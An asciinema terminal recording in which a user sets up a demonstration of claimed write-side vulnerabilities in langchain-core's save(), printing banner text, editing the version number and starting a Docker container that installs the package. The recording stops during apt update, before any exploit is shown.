{"version": 2, "width": 210, "height": 54, "timestamp": 1775343873, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}}
[0.054905, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[4.56709, "o", "\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"           LangChain-core v1.2.25 Vulnerability Demonstration\"\u001b[27m\r\n\r\u001b[7mecho \"====================================================================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# This demonstration shows that langchain-core v1.2.25\"\u001b[27m\r\n\r\u001b[7mecho \"# still has critical write-side vulnerabilities.\"\u001b[27m\r\n\r\u001b[7mecho \"# The read vulnerability was partially fixed, but save() remains exploitable.\"\u001b[27m\r\n\r\u001b[7mecho \"# Let's start by setting up a fresh Docker container...\"\u001b[27m\r\n\r\u001b[7msleep 3\u001b[27m\r\n\r"]
[5.340252, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cecho \"====================================================================================\"\r\n\recho \"           LangChain-core v1.2.25 Vulnerability Demonstration\"\r\n\recho \"====================================================================================\"\r\n\recho \"\"\r\n\recho \"# This demonstration shows that langchain-core v1.2.25\"\r\n\recho \"# still has critical write-side vulnerabilities.\"\r\n\recho \"# The read vulnerability was partially fixed, but save() remains exploitable.\"\r\n\recho \"# Let's start by setting up a fresh Docker container...\"\r\n\rsleep 3"]
[5.835822, "o", "\b"]
[5.868625, "o", "\b"]
[5.900863, "o", "\b"]
[5.93802, "o", "\b"]
[5.982669, "o", "\b"]
[6.001317, "o", "\b"]
[6.034116, "o", "\r"]
[6.067588, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[6.102345, "o", "\b"]
[6.135279, "o", "\b"]
[6.168091, "o", "\b"]
[6.200259, "o", "\b"]
[6.233756, "o", "\b"]
[6.267091, "o", "\b"]
[6.309814, "o", "\b"]
[6.334707, "o", "\b"]
[6.36498, "o", "\b"]
[6.396659, "o", "\b"]
[6.428901, "o", "\b"]
[6.464866, "o", "\b"]
[6.51592, "o", "\b"]
[6.530561, "o", "\b"]
[6.562675, "o", "\b"]
[6.595917, "o", "\b"]
[6.628671, "o", "\b"]
[6.667572, "o", "\b"]
[6.695071, "o", "\b"]
[6.727891, "o", "\b"]
[6.763099, "o", "\b"]
[6.794437, "o", "\b"]
[6.828418, "o", "\b"]
[6.864313, "o", "\b"]
[6.900026, "o", "\b"]
[6.925633, "o", "\b"]
[6.957835, "o", "\b"]
[6.9899, "o", "\b"]
[7.024291, "o", "\b"]
[7.066913, "o", "\b"]
[7.091646, "o", "\b"]
[7.123318, "o", "\b"]
[7.15547, "o", "\b"]
[7.187973, "o", "\b"]
[7.223202, "o", "\b"]
[7.261192, "o", "\b"]
[7.288552, "o", "\b"]
[7.321697, "o", "\b"]
[7.355601, "o", "\b"]
[7.389686, "o", "\b"]
[7.42068, "o", "\b"]
[7.470177, "o", "\b"]
[7.489103, "o", "\b"]
[7.519408, "o", "\b"]
[7.553559, "o", "\b"]
[7.585838, "o", "\b"]
[7.619635, "o", "\b"]
[7.650378, "o", "\b"]
[7.705755, "o", "\b"]
[7.720277, "o", "\b"]
[7.750306, "o", "\b"]
[7.783193, "o", "\b"]
[7.816016, "o", "\b"]
[7.848185, "o", "\b"]
[7.8819, "o", "\b"]
[7.926076, "o", "\b"]
[7.947244, "o", "\b"]
[7.980286, "o", "\b"]
[8.014329, "o", "\b"]
[8.047015, "o", "\b"]
[8.080812, "o", "\b"]
[8.117298, "o", "\r"]
[8.16428, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[8.181831, "o", "\b"]
[8.2137, "o", "\b"]
[8.245681, "o", "\b"]
[8.280916, "o", "\b"]
[8.313678, "o", "\b"]
[8.357718, "o", "\b"]
[8.381895, "o", "\b"]
[8.411653, "o", "\b"]
[8.453733, "o", "\b"]
[8.477096, "o", "\b"]
[8.511207, "o", "\b"]
[8.54476, "o", "\b"]
[8.577879, "o", "\b"]
[8.608466, "o", "\b"]
[8.641849, "o", "\b"]
[8.679145, "o", "\b"]
[8.70974, "o", "\b"]
[8.741178, "o", "\b"]
[8.773262, "o", "\b"]
[8.812521, "o", "\b"]
[8.839987, "o", "\b"]
[8.872095, "o", "\b"]
[8.905446, "o", "\b"]
[8.938299, "o", "\b"]
[8.978541, "o", "\b"]
[9.020499, "o", "\b"]
[9.037256, "o", "\b"]
[9.070813, "o", "\b"]
[9.102533, "o", "\b"]
[9.137175, "o", "\b"]
[9.184164, "o", "\b"]
[9.201934, "o", "\b"]
[9.235983, "o", "\b"]
[9.269555, "o", "\b"]
[9.302189, "o", "\b"]
[9.334243, "o", "\b"]
[9.390427, "o", "\b"]
[9.401184, "o", "\b"]
[9.434053, "o", "\b"]
[9.465542, "o", "\b"]
[9.499311, "o", "\b"]
[9.532427, "o", "\b"]
[9.566668, "o", "\b"]
[9.603793, "o", "\b"]
[9.634207, "o", "\b"]
[9.665077, "o", "\b"]
[9.698776, "o", "\b"]
[9.731886, "o", "\b"]
[9.777631, "o", "\b"]
[9.804781, "o", "\b"]
[9.834395, "o", "\b"]
[9.870108, "o", "\b"]
[9.895889, "o", "\b"]
[9.931865, "o", "\b"]
[9.969302, "o", "\b"]
[9.996473, "o", "\b"]
[10.026979, "o", "\b"]
[10.062084, "o", "\b"]
[10.092455, "o", "\b"]
[10.125728, "o", "\b"]
[10.15917, "o", "\b"]
[10.194244, "o", "\b"]
[10.235706, "o", "\b"]
[10.260651, "o", "\b"]
[10.292121, "o", "\b"]
[10.323968, "o", "\b"]
[10.359194, "o", "\b"]
[10.39623, "o", "\b"]
[10.424327, "o", "\b"]
[10.456805, "o", "\b"]
[10.490826, "o", "\b"]
[10.522491, "o", "\b"]
[10.556134, "o", "\b"]
[10.588822, "o", "\b"]
[10.639392, "o", "\b"]
[10.654228, "o", "\b"]
[10.68834, "o", "\b"]
[10.720625, "o", "\b"]
[10.75389, "o", "\b"]
[10.786566, "o", "\b"]
[10.821359, "o", "\b"]
[10.860275, "o", "\b"]
[10.887083, "o", "\b"]
[10.917902, "o", "\r"]
[10.950956, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[10.984438, "o", "\b"]
[11.017883, "o", "\b"]
[11.074366, "o", "\b"]
[11.085293, "o", "\b"]
[11.115588, "o", "\b"]
[11.148421, "o", "\b"]
[11.181922, "o", "\b"]
[11.222181, "o", "\b"]
[11.251327, "o", "\b"]
[11.285077, "o", "\b"]
[11.316984, "o", "\b"]
[11.34877, "o", "\b"]
[11.381701, "o", "\b"]
[11.431158, "o", "\b"]
[11.44723, "o", "\b"]
[11.479882, "o", "\b"]
[11.512219, "o", "\b"]
[11.544513, "o", "\b"]
[11.577856, "o", "\b"]
[11.614198, "o", "\b"]
[11.659296, "o", "\b"]
[11.678393, "o", "\b"]
[11.710552, "o", "\b"]
[11.74451, "o", "\b"]
[11.774846, "o", "\b"]
[11.808793, "o", "\b"]
[11.856921, "o", "\b"]
[11.876584, "o", "\b"]
[11.911158, "o", "\b"]
[11.941807, "o", "\b"]
[11.974807, "o", "\b"]
[12.011368, "o", "\b"]
[12.04174, "o", "\b"]
[12.073925, "o", "\b"]
[12.108222, "o", "\b"]
[12.139321, "o", "\b"]
[12.173909, "o", "\b"]
[12.219126, "o", "\b"]
[12.238682, "o", "\b"]
[12.271177, "o", "\b"]
[12.305816, "o", "\b"]
[12.337987, "o", "\b"]
[12.372849, "o", "\b"]
[12.422359, "o", "\b"]
[12.435982, "o", "\b"]
[12.469132, "o", "\b"]
[12.502282, "o", "\b"]
[12.534872, "o", "\b"]
[12.56898, "o", "\b"]
[12.601632, "o", "\b"]
[12.635542, "o", "\b"]
[12.668005, "o", "\b"]
[12.700908, "o", "\b"]
[12.739692, "o", "\b"]
[12.768381, "o", "\r"]
[12.798113, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[12.831606, "o", "\b"]
[12.864083, "o", "\b"]
[12.910334, "o", "\b"]
[12.935035, "o", "\b"]
[12.965391, "o", "\b"]
[12.99709, "o", "\b"]
[13.031111, "o", "\b"]
[13.240229, "o", "\u001b[C"]
[13.750687, "o", "\u001b[C"]
[13.77382, "o", "\u001b[C"]
[13.806366, "o", "\u001b[C"]
[13.839886, "o", "\u001b[C"]
[14.023223, "o", "\u001b[C"]
[14.652185, "o", "\b\u001b[1P\"\b"]
[15.291924, "o", "6\"\b"]
[15.864976, "o", "\b"]
[16.364156, "o", "\b"]
[16.395863, "o", "\b"]
[16.429836, "o", "\b"]
[16.464956, "o", "\b"]
[16.494567, "o", "\b"]
[16.52783, "o", "\b"]
[16.560415, "o", "\b"]
[16.594087, "o", "\b"]
[16.626988, "o", "\b"]
[16.661873, "o", "\b"]
[16.699579, "o", "\b"]
[16.727454, "o", "\b"]
[16.760638, "o", "\b"]
[16.791156, "o", "\b"]
[16.826946, "o", "\b"]
[16.863454, "o", "\b"]
[16.893929, "o", "\b"]
[16.92456, "o", "\b"]
[16.957711, "o", "\b"]
[16.989587, "o", "\b"]
[17.045377, "o", "\b"]
[17.058545, "o", "\b"]
[17.089613, "o", "\b"]
[17.122631, "o", "\b"]
[17.155517, "o", "\b"]
[17.196277, "o", "\b"]
[17.237253, "o", "\b"]
[17.256016, "o", "\b"]
[17.289248, "o", "\b"]
[17.322098, "o", "\b"]
[17.355825, "o", "\b"]
[17.392204, "o", "\b"]
[17.431482, "o", "\b"]
[17.454599, "o", "\b"]
[17.485167, "o", "\b"]
[17.518216, "o", "\b"]
[17.551674, "o", "\b"]
[17.584885, "o", "\b"]
[17.618018, "o", "\b"]
[17.658272, "o", "\b"]
[17.692844, "o", "\b"]
[17.716172, "o", "\b"]
[17.749184, "o", "\b"]
[17.783989, "o", "\b"]
[17.816737, "o", "\b"]
[17.847666, "o", "\b"]
[17.882251, "o", "\b"]
[17.918364, "o", "\b"]
[17.949126, "o", "\b"]
[17.981234, "o", "\b"]
[18.013326, "o", "\b"]
[18.048153, "o", "\b"]
[18.079528, "o", "\b"]
[18.114833, "o", "\b"]
[18.146286, "o", "\b"]
[18.180041, "o", "\b"]
[18.210872, "o", "\b"]
[18.243948, "o", "\b"]
[18.279494, "o", "\r"]
[18.311962, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[18.360817, "o", "\b"]
[18.376941, "o", "\b"]
[18.410509, "o", "\b"]
[18.443789, "o", "\b"]
[18.475812, "o", "\b"]
[18.513162, "o", "\b"]
[18.551963, "o", "\r"]
[18.575124, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[18.608567, "o", "\b"]
[18.640627, "o", "\b"]
[18.679083, "o", "\b"]
[18.715856, "o", "\b"]
[18.740016, "o", "\b"]
[18.772939, "o", "\b"]
[18.807023, "o", "\b"]
[18.845752, "o", "\b"]
[18.874236, "o", "\b"]
[18.905654, "o", "\b"]
[18.937643, "o", "\b"]
[18.969612, "o", "\b"]
[19.009987, "o", "\b"]
[19.039157, "o", "\b"]
[19.071654, "o", "\b"]
[19.106529, "o", "\b"]
[19.137591, "o", "\b"]
[19.171034, "o", "\b"]
[19.200581, "o", "\b"]
[19.235999, "o", "\b"]
[19.283891, "o", "\b"]
[19.301223, "o", "\b"]
[19.334119, "o", "\b"]
[19.367138, "o", "\b"]
[19.39867, "o", "\b"]
[19.431626, "o", "\b"]
[19.476115, "o", "\b"]
[19.499132, "o", "\b"]
[19.532093, "o", "\b"]
[19.566135, "o", "\b"]
[19.598319, "o", "\b"]
[19.631933, "o", "\b"]
[19.664747, "o", "\b"]
[19.696841, "o", "\b"]
[19.730552, "o", "\b"]
[19.764811, "o", "\b"]
[19.812382, "o", "\b"]
[19.829654, "o", "\b"]
[19.86119, "o", "\b"]
[19.895744, "o", "\b"]
[19.92936, "o", "\b"]
[19.961949, "o", "\b"]
[19.995644, "o", "\b"]
[20.030943, "o", "\b"]
[20.061118, "o", "\b"]
[20.093046, "o", "\b"]
[20.125186, "o", "\b"]
[20.157783, "o", "\b"]
[20.1975, "o", "\b"]
[20.235739, "o", "\b"]
[20.258621, "o", "\b"]
[20.292829, "o", "\b"]
[20.327777, "o", "\b"]
[20.364104, "o", "\b"]
[20.397831, "o", "\b"]
[20.432997, "o", "\b"]
[20.459064, "o", "\b"]
[20.489058, "o", "\b"]
[20.521587, "o", "\b"]
[20.555971, "o", "\b"]
[20.594161, "o", "\b"]
[20.633843, "o", "\b"]
[20.653509, "o", "\b"]
[20.68659, "o", "\b"]
[20.718494, "o", "\b"]
[20.751767, "o", "\b"]
[20.784652, "o", "\b"]
[20.834348, "o", "\b"]
[20.851674, "o", "\b"]
[20.884186, "o", "\b"]
[20.91661, "o", "\b"]
[20.949541, "o", "\b"]
[20.983531, "o", "\b"]
[21.018036, "o", "\b"]
[21.052883, "o", "\b"]
[21.084075, "o", "\b"]
[21.120336, "o", "\b"]
[21.148653, "o", "\b"]
[21.180647, "o", "\b"]
[21.215439, "o", "\b"]
[21.246768, "o", "\b"]
[21.280756, "o", "\b"]
[21.339201, "o", "\b"]
[21.350215, "o", "\b"]
[21.379316, "o", "\b"]
[21.412132, "o", "\b"]
[21.445603, "o", "\b"]
[21.477603, "o", "\b"]
[21.510931, "o", "\b"]
[21.54919, "o", "\b"]
[21.578245, "o", "\r"]
[21.60956, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[21.644604, "o", "\b"]
[21.676208, "o", "\b"]
[21.709586, "o", "\b"]
[21.742896, "o", "\b"]
[21.775114, "o", "\b"]
[21.815115, "o", "\b"]
[21.857018, "o", "\b"]
[21.874914, "o", "\b"]
[21.910811, "o", "\b"]
[21.941854, "o", "\b"]
[21.975024, "o", "\b"]
[22.008065, "o", "\b"]
[22.053206, "o", "\b"]
[22.072827, "o", "\b"]
[22.105623, "o", "\b"]
[22.140602, "o", "\b"]
[22.172595, "o", "\b"]
[22.206574, "o", "\b"]
[22.244228, "o", "\b"]
[22.274046, "o", "\b"]
[22.308202, "o", "\b"]
[22.337171, "o", "\b"]
[22.371729, "o", "\b"]
[22.405083, "o", "\b"]
[22.43473, "o", "\b"]
[22.471472, "o", "\b"]
[22.504926, "o", "\b"]
[22.535975, "o", "\b"]
[22.570292, "o", "\b"]
[23.270932, "o", "\b\u001b[1P"]
[23.821772, "o", "\u001b[1@6"]
[24.680657, "o", "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\u001b[?2004l\r"]
[24.681289, "o", "====================================================================================\r\n           LangChain-core v1.2.26 Vulnerability Demonstration\r\n====================================================================================\r\n\r\n# This demonstration shows that langchain-core v1.2.26\r\n# still has critical write-side vulnerabilities.\r\n# The read vulnerability was partially fixed, but save() remains exploitable.\r\n# Let's start by setting up a fresh Docker container...\r\n"]
[27.693142, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[30.378039, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[30.537646, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[30.682505, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[30.929715, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~\u0007vboxuser@Ubuntu-Server:~$ "]
[31.13076, "o", "\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# Starting fresh Docker container with langchain-core v1.2.25...\"\u001b[27m\r\n\r\u001b[7mdocker run -it --rm ubuntu:latest bash -c 'apt update && apt install -y python3 python3-pip && pip3 install langchain-core==1.2.25 --break-system-packages && bash'\u001b[27m\r\n\r"]
[31.976984, "o", "\u001b[A\u001b[A\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[Cecho \"\"\r\n\recho \"# Starting fresh Docker container with langchain-core v1.2.25...\"\r\n\rdocker run -it --rm ubuntu:latest bash -c 'apt update && apt install -y python3 python3-pip && pip3 install langchain-core==1.2.25 --break-system-packages && bash'"]
[32.46111, "o", "\b"]
[32.493692, "o", "\b"]
[32.524438, "o", "\b"]
[32.558638, "o", "\b"]
[32.614403, "o", "\b"]
[32.631137, "o", "\b"]
[32.658255, "o", "\b"]
[32.69176, "o", "\b"]
[32.724606, "o", "\b"]
[32.756182, "o", "\b"]
[32.789425, "o", "\b"]
[32.839337, "o", "\b"]
[32.856247, "o", "\b"]
[32.888906, "o", "\b"]
[32.921182, "o", "\b"]
[32.955762, "o", "\b"]
[32.989115, "o", "\b"]
[33.022654, "o", "\b"]
[33.054157, "o", "\b"]
[33.087162, "o", "\b"]
[33.127385, "o", "\b"]
[33.168273, "o", "\b"]
[33.188681, "o", "\b"]
[33.220716, "o", "\b"]
[33.252693, "o", "\b"]
[33.28544, "o", "\b"]
[33.316868, "o", "\b"]
[33.366565, "o", "\b"]
[33.386613, "o", "\b"]
[33.419191, "o", "\b"]
[33.450698, "o", "\b"]
[33.481786, "o", "\b"]
[33.518792, "o", "\b"]
[33.551672, "o", "\b"]
[33.58264, "o", "\b"]
[33.616695, "o", "\b"]
[33.649683, "o", "\b"]
[33.681722, "o", "\b"]
[33.714201, "o", "\b"]
[33.751907, "o", "\b"]
[33.783023, "o", "\b"]
[33.817151, "o", "\b"]
[33.847952, "o", "\b"]
[33.878346, "o", "\b"]
[33.912881, "o", "\b"]
[33.961598, "o", "\b"]
[33.977538, "o", "\b"]
[34.011222, "o", "\b"]
[34.043817, "o", "\b"]
[34.20373, "o", "\u001b[C"]
[34.68882, "o", "\u001b[C"]
[34.719131, "o", "\u001b[C"]
[34.763331, "o", "\u001b[C"]
[34.784797, "o", "\u001b[C"]
[34.817844, "o", "\u001b[C"]
[34.849598, "o", "\u001b[C"]
[34.882468, "o", "\u001b[C"]
[34.914957, "o", "\u001b[C"]
[34.94971, "o", "\u001b[C"]
[34.984599, "o", "\u001b[C"]
[35.017859, "o", "\u001b[C"]
[35.048173, "o", "\u001b[C"]
[35.080594, "o", "\u001b[C"]
[35.290932, "o", "\u001b[C"]
[35.444291, "o", "\u001b[C"]
[36.080086, "o", "\b\u001b[1P"]
[36.361674, "o", "\u001b[1@6"]
[36.673023, "o", "\b"]
[37.185005, "o", "\b"]
[37.207188, "o", "\b"]
[37.239184, "o", "\b"]
[37.273807, "o", "\b"]
[37.305831, "o", "\b"]
[37.338821, "o", "\b"]
[37.371944, "o", "\b"]
[37.405105, "o", "\b"]
[37.4406, "o", "\b"]
[37.470538, "o", "\b"]
[37.503242, "o", "\b"]
[37.539387, "o", "\b"]
[37.568742, "o", "\b"]
[37.601116, "o", "\b"]
[37.64752, "o", "\b"]
[37.67049, "o", "\b"]
[37.700829, "o", "\b"]
[37.733567, "o", "\b"]
[37.767377, "o", "\b"]
[37.800658, "o", "\b"]
[37.83168, "o", "\b"]
[37.866787, "o", "\b"]
[37.901152, "o", "\b"]
[37.951842, "o", "\b"]
[37.965215, "o", "\b"]
[37.997831, "o", "\b"]
[38.030213, "o", "\b"]
[38.063801, "o", "\b"]
[38.096213, "o", "\b"]
[38.131935, "o", "\b"]
[38.187275, "o", "\b"]
[38.210046, "o", "\b"]
[38.228228, "o", "\b"]
[38.260889, "o", "\b"]
[38.294124, "o", "\b"]
[38.326596, "o", "\b"]
[38.361368, "o", "\b"]
[38.39365, "o", "\b"]
[38.427731, "o", "\b"]
[38.460385, "o", "\b"]
[38.505154, "o", "\b"]
[38.526116, "o", "\b"]
[38.559817, "o", "\b"]
[38.593247, "o", "\b"]
[38.625356, "o", "\b"]
[38.675504, "o", "\b"]
[38.694639, "o", "\b"]
[38.726179, "o", "\b"]
[38.757007, "o", "\b"]
[38.789314, "o", "\b"]
[38.822976, "o", "\b"]
[38.855845, "o", "\b"]
[38.890015, "o", "\b"]
[38.923208, "o", "\b"]
[38.959472, "o", "\b"]
[38.988883, "o", "\b"]
[39.0217, "o", "\b"]
[39.05616, "o", "\b"]
[39.089187, "o", "\b"]
[39.131834, "o", "\b"]
[39.158165, "o", "\b"]
[39.188067, "o", "\b"]
[39.220129, "o", "\b"]
[39.251704, "o", "\b"]
[39.289405, "o", "\b"]
[39.323484, "o", "\b"]
[39.350738, "o", "\b"]
[39.384881, "o", "\b"]
[39.416082, "o", "\b"]
[39.448779, "o", "\b"]
[39.48224, "o", "\b"]
[39.538986, "o", "\b"]
[39.550299, "o", "\b"]
[39.58182, "o", "\b"]
[39.615116, "o", "\b"]
[39.647352, "o", "\b"]
[39.686143, "o", "\b"]
[39.713934, "o", "\b"]
[39.747695, "o", "\b"]
[39.779144, "o", "\b"]
[39.812789, "o", "\b"]
[39.85664, "o", "\b"]
[39.879324, "o", "\b"]
[39.910969, "o", "\b"]
[39.94568, "o", "\b"]
[39.976967, "o", "\b"]
[40.014096, "o", "\b"]
[40.051963, "o", "\b"]
[40.080873, "o", "\b"]
[40.109698, "o", "\b"]
[40.142406, "o", "\b"]
[40.175105, "o", "\b"]
[40.210291, "o", "\b"]
[40.250321, "o", "\b"]
[40.275833, "o", "\b"]
[40.308656, "o", "\b"]
[40.342779, "o", "\b"]
[40.37425, "o", "\b"]
[40.410283, "o", "\b"]
[40.439284, "o", "\b"]
[40.473951, "o", "\b"]
[40.506706, "o", "\b"]
[40.539534, "o", "\b"]
[40.57586, "o", "\b"]
[40.605115, "o", "\b"]
[40.638879, "o", "\b"]
[40.669707, "o", "\b"]
[40.702697, "o", "\b"]
[40.737042, "o", "\b"]
[40.777828, "o", "\b"]
[40.801958, "o", "\b"]
[40.836906, "o", "\b"]
[40.868435, "o", "\b"]
[40.902063, "o", "\b"]
[40.934229, "o", "\b"]
[40.968293, "o", "\b"]
[40.999819, "o", "\b"]
[41.033608, "o", "\b"]
[41.066539, "o", "\b"]
[41.100134, "o", "\b"]
[41.132601, "o", "\b"]
[41.164206, "o", "\b"]
[41.21754, "o", "\b"]
[41.232041, "o", "\b"]
[41.265718, "o", "\b"]
[41.300768, "o", "\b"]
[41.33078, "o", "\b"]
[41.36253, "o", "\b"]
[41.417436, "o", "\r"]
[41.432172, "o", "\u001b[A\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C\u001b[C"]
[41.462923, "o", "\b"]
[41.495734, "o", "\b"]
[41.530367, "o", "\b"]
[41.564436, "o", "\b"]
[41.601747, "o", "\b"]
[41.635908, "o", "\b"]
[41.661788, "o", "\b"]
[41.695696, "o", "\b"]
[41.728594, "o", "\b"]
[41.774374, "o", "\b"]
[41.961832, "o", "\u001b[C"]
[42.116899, "o", "\u001b[C"]
[42.257094, "o", "\u001b[C"]
[42.409176, "o", "\u001b[C"]
[42.585161, "o", "\u001b[C"]
[42.717163, "o", "\u001b[C"]
[43.140852, "o", "\b\u001b[1P...\"\b\b\b\b"]
[43.305623, "o", "6...\"\b\b\b\b"]
[43.796409, "o", "\r\n\r\n\r\u001b[?2004l\r\r\n# Starting fresh Docker container with langchain-core v1.2.26...\r\n"]
[44.563358, "o", "\u001b[33m\r0% [Working]"]
[44.566981, "o", "\u001b[0m"]
[44.876239, "o", "\r            \rGet:1 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB]\r\n\u001b[33m\r0% [Waiting for headers] [1 InRelease 14.2 kB/126 kB 11%]\u001b[0m"]
